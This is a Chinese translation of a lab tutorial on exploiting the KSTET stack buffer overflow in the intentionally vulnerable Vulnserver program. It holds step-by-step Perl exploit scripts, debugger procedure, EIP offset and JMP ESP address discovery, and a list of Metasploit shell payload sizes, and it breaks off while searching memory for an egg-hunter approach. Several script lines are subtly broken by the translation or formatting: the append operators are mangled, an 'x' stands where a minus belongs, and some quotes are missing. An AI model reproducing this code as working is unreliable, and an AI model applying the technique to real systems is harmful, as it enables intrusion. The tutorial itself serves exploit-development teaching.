缓冲区溢出漏洞攻击——Vulnserver上手指南

译文
安全 漏洞
本篇教程的内容将以Vulnserver应用程序中一个已知缓冲区溢出漏洞的攻击过程为主。Vulnserver是一款Windows服务器应用程序,其中包含一系列可供利用的缓冲区溢出漏洞,旨在为大家在学习和实践基本的fuzzing、调试以及开发技能方面提供必要的辅助。

本篇教程的内容将以Vulnserver应用程序中一个已知缓冲区溢出漏洞的攻击过程为主。Vulnserver是一款Windows服务器应用程序,其中包含一系列可供利用的缓冲区溢出漏洞,旨在为大家在学习和实践基本的fuzzing、调试以及开发技能方面提供必要的辅助。关于Vulnserver的更多信息,例如下载链接等,请从以下网址处查看:http://grey-corner.blogspot.com/2010/12/introducing-vulnserver.html

本篇教程将介绍如何确定某个特定的、基于堆栈的溢出漏洞是否被利用,以及如何进一步挖掘溢出漏洞的价值。不过初始发现漏洞的过程并不包含在本教程中。如果大家有兴趣了解此类漏洞的寻获方法,不妨查阅我们此前发表过的文章:

http://resources.infosecinstitute.com/intro-to-fuzzing/

http://resources.infosecinstitute.com/fuzzer-automation-with-spike/

本教程将假设读者具备一定的技术水平,例如掌握了使用OllyDbg或Immunity Debugger调试程序的使用方法,以及X86汇编语言的相关基本知识。对于刚刚入门的朋友们来说,他们可能觉得自己需要对上述内容进行集中复习,那么下面的链接能够提供大家所需的必要知识:

http://resources.infosecinstitute.com/debugging-fundamentals-for-exploit-development/

http://resources.infosecinstitute.com/in-depth-seh-exploit-writing-tutorial-using-ollydbg/

最后,大家还需要掌握如何利用基于堆栈的缓冲区在溢出方面的基本知识。特别是我们将在下文中谈到的特定溢出情况,将会用到一些相对比较高级的调试器应用及开发技术,此外在本系列文章的前几篇中所涉及到的技能也会被用到。大家可以从下面的链接中查看使基于基本堆栈的溢出方法:

http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-1-%e2%80%94-introduction/

http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-2-%e2%80%94-exploiting-the-stack-overflow/

http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-3-%e2%80%94-adding-shellcode/

其它前面没有提及,但最好在实践前先行阅读的Vulnserver系列其它文章可以从下面的链接中找到: http://resources.infosecinstitute.com/seh-exploit/

系统要求及安装

本教程的实践过程会用到以下软件:

◆一套32位Windows系统。我强烈建议大家采用最新的Windows桌面系统,例如Windows XP SP2、Windows Vista或是Windows 7,因为这些系统都经过了我个人的亲自测试。Windows 2000桌面版以及服务器版系统可能也没问题,但我不打包票。

◆Windows系统中的Vulnserver。大家可以从下面的链接中获取该程序的相关信息(使用前请详细阅读)并下载:http://grey-corner.blogspot.com/2010/12/introducing-vulnserver.html

◆Windows系统中的OllyDbg 1.10。如果各位愿意,也可以使用Immunity Debugger,不过这样一来大家的显示结果可能会与教程中的情况略有不同,而且在本教程中与OllyDbg相关的部分插件可能无法运行。OllyDbg可通过下述链接获取: http://www.ollydbg.de/

◆Perl脚本解释器实例。大家可以将其运行于自己的Windows或是Linux攻击系统中。Linux系统应该是已经预安装过Perl了,但如果各位想在Windows中进行,请从以下链接中获取免费下载:http://www.activestate.com/activeperl

◆Metasploit 4的最新副本。它同样可以运行于Windows或者Linux攻击系统中,不过我个人建议采用Linux系统加以处理,具体细节请查看后文。Metaspoit的Windows或Linux版本可从下列网址处获得:http://www.metasploit.com/

◆Netcat副本。大多数Linux系统应该已经预安装过了,而其Windows版本可以在此链接中找到:http://joncraton.org/blog/46

◆如果大家想安装本文中所提到的shellcode,则必须具备一套安装过的nasm副本,获取地址为:http://www.nasm.us/。其实nasm的使用范围很窄,包括在本教程中也同样,因此只作为备选考量。不过如果大家是打算定期编写溢出漏洞,那么nasm绝对是各位工具箱中必不可少的常客。

我在编写本教程时所使用的个人设置是一套能够运行Metasploit命令及Perl脚本的Linux主机;操作系统为Ubuntu,而且Vulnserver运行于虚拟机中的Windows XP SP2当中。也就是说,本文中所涉及的命令语法所指向的都是Linux系统;如果大家使用的是Windows,请适当根据个人情况对命令加以修改。我之所以选择在Linux上运行Metasploit与Perl,是因为Metasploit Framework等组件会被大部分常用的Windows系统防病毒解决方案所破坏。

如果各位的Windows系统运行着防火墙或是HIPS(即主机入侵防御系统),大家可能需要对白名单进行一些相应设置,并适当地禁用某些保护功能,这样本教程才能顺利执行。我们将创建一个溢出漏洞,使得Vulnserver在新绑定的TCP端口处监听shell会话,而这很可能导致防火墙及HIPS软件无法正常工作。某些HIPS软件也许能够实现ASLR(即地址空间布局随机化)功能,但这同样会带来问题。讨论防火墙与HIPS的旁路技术有点超出本教程的涵盖范围,因此请以适当的方式加以配置以免发生上述问题。

为了本教程的顺利展开,我同样假设各位的Windows系统没有为所有程序设置硬件DEP(即数据执行保护)。在Windows XP、Windows Vista以及Windows 7中,默认的设置就是只为基本Windows程序及服务项目配置硬件DEP,因此除非大家曾经刻意修改过自己系统中的DEP设定,否则默认情况应该是处于正确的状态。要了解更多信息请参阅以下链接:

http://en.wikipedia.org/wiki/Data_Execution_Prevention

http://support.microsoft.com/kb/875352

我的Windows Vulnserver系统在192.168.56.101地址的9999 TCP端口处进行监听,因此该目标地址就是我在运行Perl脚本时所要使用的。如果大家的Vulnserver实例运行在其它位置,请确保该值与自己的实际情况保持一致。

关于使用不同Windows操作系统版本的说明:

请注意,如果大家没有像我一样使用Windows XP SP2系统运行Vulnserver,那么各位在为自己的溢出漏洞设定缓冲区大小时所使用的值可能与我所做的有所不同。不过只要大家确保跟随我的缓冲区定义流程,而不是简单地复制我所使用的具体数值,那么整个过程应该可以顺利完成。我将在以下教程的必要位置处向大家再次强调这一问题。

流程概述

我们将使用以下高端处理流程以完全控制该程序:

◆控制掌握着CPU执行代码的EIP寄存器,将我们所选择的值加入其设定。

◆确定哪些代码能够完成我们溢出漏洞的目标,在目标系统中寻获或是添加进程序,并将EIP重新   定向至我们所选择的代码。

正如我们在利用缓冲区溢出漏洞系列之前的文章中所提到(详见简介部分的链接),所需步骤列表既负责实施层面的写入及溢出效果,又可以确定目标漏洞是否能够被利用。我们将对给定漏洞加以评估,以审核这些特定步骤能否奏效,而一旦得到了肯定的结论,我们就会明确目标的可行性并进一步找寻将理论付诸实践的具体方式。一直关注本系列文章的读者可能会注意到,上面所描述的整个流程与此前相比并无变化。尽管工作过程本身变得愈发复杂,但在执行的一般性基础步骤方面却始终保持着一致。惟一不同的只是在具体实施的细节技术上有所变动。

正如在介绍部分中所说,大家应该先在缓冲区溢出漏洞的一般写入方式上有所了解,然后再尝试本教程。我们今天所要关注的是一种特定的漏洞,而要利用它进行工作则需要一种新的技术。本教程的重点,正是指导大家如何实施这一新技术,并且探明在何种情况下使用该技术。我仍然会在涉及的时候列出本系列的前几篇文章作为技术参考,而不是在本文中继续深入讨论原先提过的细节,正如我之前所做过的一样。因此如果大家对于本文中的初始步骤感到困惑,请拿出点时间来将本系列的前几篇文章仔细阅读一遍。具体链接简介部分中已经给出了。#p#

漏洞评估

我们所要尝试加以利用的漏洞是一种基于堆栈的溢出,具体参数存在于Vulnserver的KSTET命令中。我们可以通过发送一条包含着很长(约100个甚至更多字符数)字符串的参数在程序中触发异常,参数内容中包含至少一个句号(即.)。为了证明这一点,我们可以使用以下脚本,将"KSTET"命令加上1000个"A"字符(十六进制中的\x41)作为命令参数发送至特定的IP地址及端口。

正如在溢出开发过程中的流程,我们将逐渐把这个基本POC脚本修改为全方位的漏洞。将下列内容另存为 kstet-exploit-vs.pl。

  1. #!/usr/bin/perl  
  2. use IO::Socket;  
  3.  
  4. if (@ARGV < 2) { die("Usage: $0 IP_ADDRESS PORT\n\n"); }  
  5. $badheader = "KSTET ."; # sets variable $badheader to "KSTET ."  
  6. $baddata = "\x41" x 1000;   
  7.  
  8. $socket = IO::Socket::INET->new( # setup TCP socket - $socket  
  9.     Proto => "tcp",  
  10.     PeerAddr => "$ARGV[0]", # command line variable 1 - IP Address  
  11.     PeerPort => "$ARGV[1]" # command line variable 2 - TCP port  
  12. ) or die "Cannot connect to $ARGV[0]:$ARGV[1]";  
  13.  
  14. $socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd  
  15. print "$sd"; # print $sd variable  
  16. $socket->send($badheader . $baddata); # send $badheader and $baddata variable via $socket 

请注意:大家可能已经注意到,我提到的漏洞利用需要大约100个字符来触发;但我却为上述代码设置了一个1000字节大小的缓冲区。我为什么要这么做?事实上之所以选择1000字节的大小,是因为在正常情况下这已经能够提供足够的闲置空间,包括应对我们所要发送的、用于控制系统的shellcode。在本文的下面部分,大家会看到这一理论给我们带来的问题。

现在在OllyDbg中打开vulnerver.exe文件,并按下F9键加以运行。然后,执行以下脚本以使调试器发生异常。

  1. stephen@lion:~/Vulnserver$ ./kstet-exploit.pl 192.168.56.101 9999  
  2. Welcome to Vulnerable Server! Enter HELP for help. 

调试器应该会如下图所示对我们加以欢迎,哈哈,屏幕底部正如预期一样显示出一个访问冲突错误,而在调试器内部该程序的执行也处于暂停状态。

在这种情况下,我们看到EIP寄存器中包含一个41414141的值,这正是我们通过POC发送到应用程序的大量"A"字符的十六进制表现形式。EIP寄存器中包含了发送到应用程序的数据的值,这对于我们意思着漏洞的利用时机已然成熟,是个好消息。现在让我们看看能不能用给定的值覆盖掉EIP内容,一旦成功我们就能够将其重新定向至选定的代码并加以执行。

根据在寄存器窗口中所看到的寄存器值,我们能够得知ESP包含着一个地址,而该地址位于包含着我们发邮的"A"字符的堆栈中。大家可以右击ESP并选择Follow in Dump或者Follow in Stack以进行确认,此外直观地将ESP的值(上图中的值为00B6FA0C)与堆栈面板中\x41长字符串所处的地址做比较也可以。如此一来,只要能利用自己对EIP的控制使其重新指向JMP ESP指令,我们应该就完全可以将此区域内存中的全部内存纳入自己的掌握。接着我们将尝试使用允许我们控制系统的代码将内存中的这一段代码替换掉,进而让前者被CPU所执行。大家可能还记得,这种处理方式在本系列此前的堆栈溢出文章中曾经提到过。

在此我要提醒各位,为了让这一"jump"操作发挥应有的效果,我们必须找出发送向那些EIP地址被重写的应用程序的数据,并跟踪其分支;接下来我们需要将该分支的开头四个字节通过已经存在于程序内存中且未发生变化的JMP ESP指令加以替换。这将使得该JMP ESP指令在被重写的返回地址载入EIP当中后立即由CPU执行,并反过来重定向至内存中我们控制内容所处的区域中。

首先让我们找出重写分支。同之前一样,我们将利用Metasploit中的pattern_create.rb工具实现该目标。首先,我们使用这款工具来创建一种独特的处理示例,在此实例中,适当的长度(1000字节)是关键。

注意:大家的Metasploit安装路径可能与我在下面命令行中所指定的不同。必须将命令行中的对应内容修改为pattern_create.rb可执行文件实际所处的正确位置,该文件应该存在于Metasploit安装目录下的tools子目录当中。此外,出于保障可读性的目的,我删除了一部分输出结果。大家操作时所看到的实际输出结果将更多一些。

  1. stephen@lion:~/Vulnserver$ /opt/metasploit3/msf3/tools/pattern_create.rb 1000  
  2. Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9  
  3. [SNIP]  
  4. e3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B 

然后,我们编辑自己的溢出手段,借以将示例发送至应用程序。在下面的代码中,我将自己的示例拆分成子字符串,然后再进行添加,这就使得以下内容更具可读性。不过大家也可以根据自己的喜好将其加入较大的字符串中。

  1. #!/usr/bin/perl  
  2. use IO::Socket;  
  3.  
  4. if (@ARGV < 2) { die("Usage: $0 IP_ADDRESS PORT\n\n"); }  
  5. $badheader = "KSTET ."; # sets variable $badheader to "KSTET ."  
  6. $baddata = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8A" .  
  7. c9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8" .  
  8. Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai" .  
  9. 8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7A" .  
  10. l8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7" .  
  11. Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar" .  
  12. 7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6A" .  
  13. u7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6" .  
  14. Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba" .  
  15. 6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5B" .  
  16. d6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5" .  
  17. Bg6Bg7Bg8Bg9Bh0Bh1Bh2B";   
  18.  
  19. $socket = IO::Socket::INET->new( # setup TCP socket - $socket  
  20.     Proto => "tcp",  
  21.     PeerAddr => "$ARGV[0]", # command line variable 1 - IP Address  
  22.     PeerPort => "$ARGV[1]" # command line variable 2 - TCP port  
  23. ) or die "Cannot connect to $ARGV[0]:$ARGV[1]";  
  24.  
  25. $socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd  
  26. print "$sd"; # print $sd variable  
  27. $socket->send($badheader . $baddata); # send $badheader and $baddata variable via $socket 

现在我们在调试器中重新启动程序(在Debug菜单中选择Restart),并允许其运行(按F9键),然后执行我们修改过的溢出漏洞。

  1. stephen@lion:~/Vulnserver$ ./kstet-exploit.pl 192.168.56.101 9999  
  2. Welcome to Vulnerable Server! Enter HELP for help. 

例外情况应该会再次出现,这时EIP被设置为如下所示的值。

在这一寄存器窗口截图中所显示的EIP,拥有一个41336341的值。将该值发送至pattern_offset.rb即可得到以下结果。

  1. stephen@lion:~/Vulnserver$ /opt/metasploit3/msf3/tools/pattern_offset.rb 0x41336341  
  2. 69 

这个结果告诉我们,我们示例中的EIP已经被重写,且产生了69字节的偏移。

注意: 大家所得到的EIP值是不是与我在以上截图中所给出的不同呢?请记住,最重要的是遵循我所给出的每个步骤,而不要太过关注我得到的确切结果。如果大家得到的EIP值与我不同,安心将其发往pattern_offset.rb工具即可,并将获得的新输出结果作为偏移值。

让我们再对溢出漏洞进行一次修正,以确保偏移值的正确性。我们将利用$baddata变量向应用程序发送69个"A"字符,随后发送4个"B"字符,接着是一些"C"字符。如果一切正常的话,当溢出漏洞执行时EIP将如预期一样被设置为42424242(也就是4个'B'字符的16进制表达形式)。

  1. #!/usr/bin/perl  
  2. use IO::Socket;  
  3.  
  4. if (@ARGV < 2) { die("Usage: $0 IP_ADDRESS PORT\n\n"); }  
  5. $badheader = "KSTET ."; # sets variable $badheader to "KSTET ."  
  6. $baddata = "A" x 69;  
  7. $baddata ."BBBB";  
  8. $baddata ."C" x (1000 x length($baddata));  
  9.  
  10. $socket = IO::Socket::INET->new( # setup TCP socket - $socket  
  11.     Proto => "tcp",  
  12.     PeerAddr => "$ARGV[0]", # command line variable 1 - IP Address  
  13.     PeerPort => "$ARGV[1]" # command line variable 2 - TCP port  
  14. ) or die "Cannot connect to $ARGV[0]:$ARGV[1]";  
  15.  
  16. $socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd  
  17. print "$sd"; # print $sd variable  
  18. $socket->send($badheader . $baddata); # send $badheader and $baddata variable via $socket 

在调试器中重新启动程序并运行,然后再次执行溢出漏洞。

  1. stephen@lion:~/Vulnserver$ ./kstet-exploit.pl 192.168.56.101 9999  
  2. Welcome to Vulnerable Server! Enter HELP for help. 

这时我们应该会在调试器中看到如下所示的画面:

EIP已经被设置为42424242,正如我们的预期,而且这时如果观察堆叠窗口中的数据,我们会发现"A"字符(\x41)处于重写地址之前,而"C"字符(\x43)则在该地址之后。在上面的截图中,42424242所覆盖的地址被以灰色突出显示。

现在我们了解了哪些从溢出漏洞发出的字节数据会被用于为EIP赋值,接下来我们需要找出"JMP ESP"指令内存中的地址,并利用这些地址实施覆盖。正如本系列之前关于缓冲区溢出文章中所提到的,我们首先要检查那些包含在主程序当中的模块。请注意,目前我们还没有进行过此前其它文章中完全未涉及到的内容,因此我会假定大家已经充分阅读过必要的前续材料,并跟得上我现在这种比较快的讲解速度。如果大家在此处有哪些细节还不甚明确,请参阅我之前发表的堆栈溢出文章。

要开始搜索"JMP ESP"指令,必须在调试器中使用View菜单,选择Executable Modules选项,并在接下来的窗口中双击essfunc模块,这样就可以根据模块的路径从同一目录中运行vulnserver主可执行文件。现在该essfunc模块应该已经出现在调试器的CPU视图当中了。在反汇编窗口中右击并选择Search for->Command选项,并在"Find Command"窗口中键入"JMP ESP"(请注意实际操作时不要带隐号)后点击Find。反汇编窗口现在应该就会在essfunc模块中显示出首个"JMP ESP"指令的地址了。

根据以上截图,我们可以看到指令的地址为625011AF。这个地址中并不包含我们常见的坏字符(例如\00,\0A,\0D等),因此它所提供的应该是一个良好的可用覆盖地址。不用犹豫啦,马上尝试。

在调试器中重新启动程序,按下F9键开始运行,接着按Ctrl加G激活"Enter expression to follow(即输入要跟踪的表达式)"窗口。将我们刚刚获取到的指令地址(625011AF)录入至对话框中并点击OK按钮,这样我们就将回到该地址,此时按F2键设置一个中断点。地址的背景现在会变为红色,这表明我们在此处设置了中断点。这个中断点将确保当CPU尝试执行处于这一地址的指令时,调试器将进入暂停状态。

现在让我们对溢出漏洞加以修改,以尝试将执行文件重新定向至该地址--详见下列代码。除了将新发现的"JMP ESP"地址添加到$baddata变量的恰当位置之外,我们还需要在溢出漏洞的覆盖地址处添加数个INT 3中断点(\xCC),这样我们就有了让调试器暂停的后备手段。还有,大家不要忘记,由于x86处理器家庭所固有的字节存储次序,我们需要将覆盖地址处的字节由最低向最高进行排序。这里不妨采取将适当的值发往"打包"函数的作法。

  1. #!/usr/bin/perl  
  2. use IO::Socket;  
  3.  
  4. if (@ARGV < 2) { die("Usage: $0 IP_ADDRESS PORT\n\n"); }  
  5. $badheader = "KSTET ."; # sets variable $badheader to "KSTET ."  
  6. $baddata = "A" x 69;  
  7. $baddata .pack('V', 0x625011AF); # JMP ESP essfunc.dll  
  8. $baddata ."\xCC" x (1000 - length($baddata));   
  9.  
  10. $socket = IO::Socket::INET->new( # setup TCP socket - $socket  
  11.     Proto => "tcp",  
  12.     PeerAddr => "$ARGV[0]", # command line variable 1 - IP Address  
  13.     PeerPort => "$ARGV[1]" # command line variable 2 - TCP port  
  14. ) or die "Cannot connect to $ARGV[0]:$ARGV[1]";  
  15.  
  16. $socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd  
  17. print "$sd"; # print $sd variable  
  18. $socket->send($badheader . $baddata); # send $badheader and $baddata variable via $socket 

现在运行溢出漏洞。

  1. stephen@lion:~/Vulnserver$ ./kstet-exploit.pl 192.168.56.101 9999  
  2. Welcome to Vulnerable Server! Enter HELP for help. 

这时应该点击之前所设置的中断点,并长按F8键由漏洞向INT3 中断点的开头字节进行发送。现在我们已经完成程序内存的重新定向工作,一切内容都尽在掌握。

一般漏洞编写流程到了这里,我们通常应该专注于利用某些shellcode替换掉程序内存中的这部分内容,以夺取系统的控制权。如果大家在之前的部分中一直全神贯注,可能此时已经发现我们所遇到的问题。尽管我们向该程序发出了近千个INT3 \xCC中断点,但在内存中能够查看到的只有20个(详见上图)。此外,在我们发出的、用于覆盖EIP值的数据前面,只有69个可用字节。要在这么有限的空间中部署合适的shellcode,这可能吗?

要进行检查,我们可以将msfpayloads负载列表命令(即msfpayload -l)的输出结果发送至perl单行中;而perl则会以汇总形式为每个窗口中的"shell"负载执行msfpayload命令,这样我们就能检查每个shellcode的具体大小了。

  1. stephen@lion:~/Vulnserver$ msfpayload -l | perl -nae 'if ($F[0] =~ m/windows.*\/shell/){ for(`msfpayload $F[0] S`){if (m/Module|size/){s/^\s*//; print}}}'  
  2. Module: payload/windows/shell/bind_ipv6_tcp  
  3. Total size: 364  
  4. Module: payload/windows/shell/bind_nonx_tcp  
  5. Total size: 201  
  6. Module: payload/windows/shell/bind_tcp  
  7. Total size: 298  
  8. Module: payload/windows/shell/find_tag  
  9. Total size: 92  
  10. Module: payload/windows/shell/reverse_http  
  11. Total size: 336  
  12. Module: payload/windows/shell/reverse_ipv6_tcp  
  13. Total size: 298  
  14. Module: payload/windows/shell/reverse_nonx_tcp  
  15. Total size: 177  
  16. Module: payload/windows/shell/reverse_ord_tcp  
  17. Total size: 93  
  18. Module: payload/windows/shell/reverse_tcp  
  19. Total size: 290  
  20. Module: payload/windows/shell/reverse_tcp_allports  
  21. Total size: 294  
  22. Module: payload/windows/shell/reverse_tcp_dns  
  23. Total size: 367  
  24. Module: payload/windows/shell_bind_tcp  
  25. Total size: 341  
  26. Module: payload/windows/shell_bind_tcp_xpfw  
  27. Total size: 529  
  28. Module: payload/windows/shell_reverse_tcp  
  29. Total size: 314  
  30. Module: payload/windows/x64/shell/bind_tcp  
  31. Total size: 467  
  32. Module: payload/windows/x64/shell/reverse_tcp  
  33. Total size: 422  
  34. Module: payload/windows/x64/shell_bind_tcp  
  35. Total size: 505  
  36. Module: payload/windows/x64/shell_reverse_tcp  
  37. Total size: 460 

正如大家从上述输出结果中所见,根本不存在既能够提供有效负载、又能够适应有限缓冲空间的恰当shell。那么,我们又该怎么办?

#p#

寻蛋之旅

事实证明,即使我们无法改变可用空间大大受限的状况,仍然有另一类shellcode能够突破阻碍、达成目标。它被称为egg hunter(即寻蛋者) shellcode,其本质上是一段很小的shellcode,允许我们搜索程序内存空间中的模式并遵循该模式将执行文件立即重新指向至内存中的某个位置。其中关键所在是允许我们的溢出漏洞执行处于设定在内存其它位置处的shellcode(我们称之为'蛋')。要使用这套机制,大家需要在内存中对自己的"蛋"做出描述,这样寻蛋者才能运行正确的目标,并确保我们的漏洞在被触发时目标仍然存在。

我常用的寻蛋者shellcode只有32字节大小,这种精致的体积使其能够很好地适应EIP覆盖地址那69字节的有限空间。惟一尚未解决的问题是,我们是否能够找到另一种方法,以向程序中插入额外的shellcode,使得我们在重新指向时有目标可定呢?要了解这种思路在我们的实例中是否切实可行,首先要从我们向Vulnserver程序发送数据的数种方式上下手;哪种方式能够像发生KSTET异常时那样影响程序内存内容,哪种方式就可以为我们所利用。

现在有很多办法帮我们进行这类测试。根据程序本身的复杂性,我们可能需要使用模糊器及自动化内存分析方案,以便在较短的时间内测试全部输入结果,或是在发送数据前通过程序调试找出其数据处理方法,进而了解如何偷偷向其注入其它数据。举例来说,我们传出的数据可能需要符合一定格式,或者是必须与某种模式相匹配才能得到正确的存储。我们也许还得考虑到,同时发送多个不同的数据段所导致的异常有可能带来与单独发送内容相同的数据段有所不同。也许这是由于程序会在接收到一定数量的命令后清除旧有的内存内容,或者是因为特定命令发送至程序后会触发对其它数据的主动清除。真正的原因其实很复杂,不是吗?

幸运的是,在我们的实例中,Vulnserver是一款相当单纯的应用程序,因此只需直接对其加以运行,以各种方式向其发送数据并观察哪一种能够最显著地帮我们获得所需的结果即可;接着就是发生异常、查看具体原因。如果一次不行,我们就再试一次,只要尽量留心关注细节,就一定会得到令人满意的结果。

在我们向应用程序发送数据时,当然希望了解有哪些命令可资利用;很简单,只要在调试器中重启程序并加以查询即可。如下所示的输出结果向我们展示了通往Vulnserver的连接使用了netcat,并发送"HELP"命令,查询哪些命令能够正确使用。

  1. stephen@lion:~/Vulnserver$ nc 192.168.56.101 9999  
  2. Welcome to Vulnerable Server! Enter HELP for help.  
  3. HELP  
  4. Valid Commands:  
  5. HELP  
  6. STATS [stat_value]  
  7. RTIME [rtime_value]  
  8. LTIME [ltime_value]  
  9. SRUN [srun_value]  
  10. TRUN [trun_value]  
  11. GMON [gmon_value]  
  12. GDOG [gdog_value]  
  13. KSTET [kstet_value]  
  14. GTER [gter_value]  
  15. HTER [hter_value]  
  16. LTER [lter_value]  
  17. KSTAN [lstan_value]  
  18. EXIT 

上述命令同样可以作为我们向应用程序发送数据的手段。我们将对自己的现有漏洞代码进行修改,再运行上述命令,最后触发异常。这样我们就能了解这种方法是否能够有效地帮助我们在异常发生时控制内存内容。

经过修改,溢出漏洞将一一利用上述命令,向应用程序各发出500字节数据;此外还会发送一条不依附于命令的数据。为什么是500字节?我选择这一特定大小是因为它比我们之前提到的必要shellcode大一些,但又不会因为过大而触发Vulnserver应用程序中的其它未知异常。

我们必须考虑的另一件事是,由于各条命令会在同一时间向应用程序发送数据,因此我们还需要制定一些方式将具体数据与具体命令关联起来。只有这样做,当我们在内存中发现某些特定数据集合时,才能确定它是由哪条命令引入的。很可能在我们发现时,整条命令连同数据还原封不动未被打乱;例如可能会看到以"STAT"命令打头的数据,这表示数据由STAT命令所携带,且仍然保持完整,不过我们不能完全依靠这种侥幸心理。为了使命令与数据之间的关系更易于甄别,我的方法是为每个命令配备不同的发送数据。

在如下所示的代码中,我将打算运行的各条命令你构成一个数组,这样就可以反复对某个特定项目进行处理;为它们各自添加不同的500字节信息,最后将命令发往应用程序。在这里我还修改了$baddata变量,包括用于引发异常的数据,旨在以\x90 NOP 指令将之前用到的"A"字符替换掉,进而让"A"字符能够空闲出来用于本次测试。大家应该也注意到了,在下面的代码中,这些额外的命令是在我们的恶意数据引发崩溃之前发出的,这就保证了崩溃发生时这些命令已经存在于应用程序当中。

注意:我在数组之外保留了一条命令。大家能想到这是为什么吗?提示,将它也加入进来,看看会发生什么。大家认为会发生什么呢?

  1. #!/usr/bin/perl  
  2. use IO::Socket;  
  3. if (@ARGV < 2) { die("Usage: $0 IP_ADDRESS PORT\n\n"); }   
  4.  
  5. @commands = ("", "HELP", "STATS", "RTIME", "LTIME", "SRUN", "TRUN", "GMON", "GDOG", "HTER", "LTER", "KSTAN"); # put commands in array  
  6. $char = 0x41; # set char to hex ASCII representation of "A"   
  7.  
  8. foreach $command (@commands) { # create command to send data from each command  
  9.     push @senddata, $command . " " . chr($char) x 500; # add command to new @sendata array  
  10.     print chr($char) . " - $command\n";  
  11.     $char++; # add 1 to $char, rotate to next character  
  12. }   
  13.  
  14. $badheader = "KSTET ."; # sets variable $badheader to "KSTET ."  
  15. $baddata = "\x90" x 69;  
  16. $baddata .pack('V', 0x625011AF); # JMP ESP essfunc.dll  
  17. $baddata ."\xCC" x (1000 - length($baddata));   
  18.  
  19. $socket = IO::Socket::INET->new( # setup TCP socket - $socket  
  20.     Proto => "tcp",  
  21.     PeerAddr => "$ARGV[0]", # command line variable 1 - IP Address  
  22.     PeerPort => "$ARGV[1]" # command line variable 2 - TCP port  
  23. ) or die "Cannot connect to $ARGV[0]:$ARGV[1]";  
  24.  
  25. $socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd  
  26. print "$sd"; # print $sd variable  
  27. foreach $data (@senddata) { # send commands from array to application  
  28.     $socket->send($data);  
  29.     $socket->recv($sd, 1024);  
  30. }  
  31. $socket->send($badheader . $baddata); # send $badheader and $baddata variable via $socket 

现在在调试器中重启程序并运行溢出漏洞。

程序应该在运行至INT3中断端点的\xCC开头字符

  1. stephen@lion:~/Vulnserver$ ./kstet-exploit.pl 192.168.56.101 9999  
  2. A -  
  3. B - HELP  
  4. C - STATS  
  5. D - RTIME  
  6. E - LTIME  
  7. F - SRUN  
  8. G - TRUN  
  9. H - GMON  
  10. I - GDOG  
  11. J - HTER  
  12. K - LTER  
  13. L - KSTAN  
  14. Welcome to Vulnerable Server! Enter HELP for help. 

时进入暂停状态。此时我们需要通过搜索内存查找上图中出现过的字符,以确认是否有哪条命令已经帮我们获得了修改内存内容的权限。举例来说,如果我们找到一长串"A"字符,然后将这些字符直接发往程序(比如说并非由命令所携带),这样我们就能够设定内存内容。而如果寻获的是一长串"B"字符,那么将其搭配在"HELP"命令后发送也会让我们能够设定内存内容,诸如此类。

要在程序的内存中找出这些字符串,要在View菜单中选择Memory选项,弹出的内存映射窗口如下所示。

这个窗口实际上向我们展示了当前程序的内存分配页面。OllyDbg使我们能够对其中每个条目详加搜索,以获取一系列不同类型的数据。要开始搜索,先在内存映射窗口中选择第一项,右击再选择"Search",接着在出现的新窗口中的ASCII对话框中输入一长串"A"字符。选择列表中的第一项这非常重要,因为搜索功能将从所选中的项目一直执行到整个列表的底端;一旦我们选择的不是第一项,那么开始搜索之后,任何处于所选项之上的条目都不会反馈出任何内存页面结果。

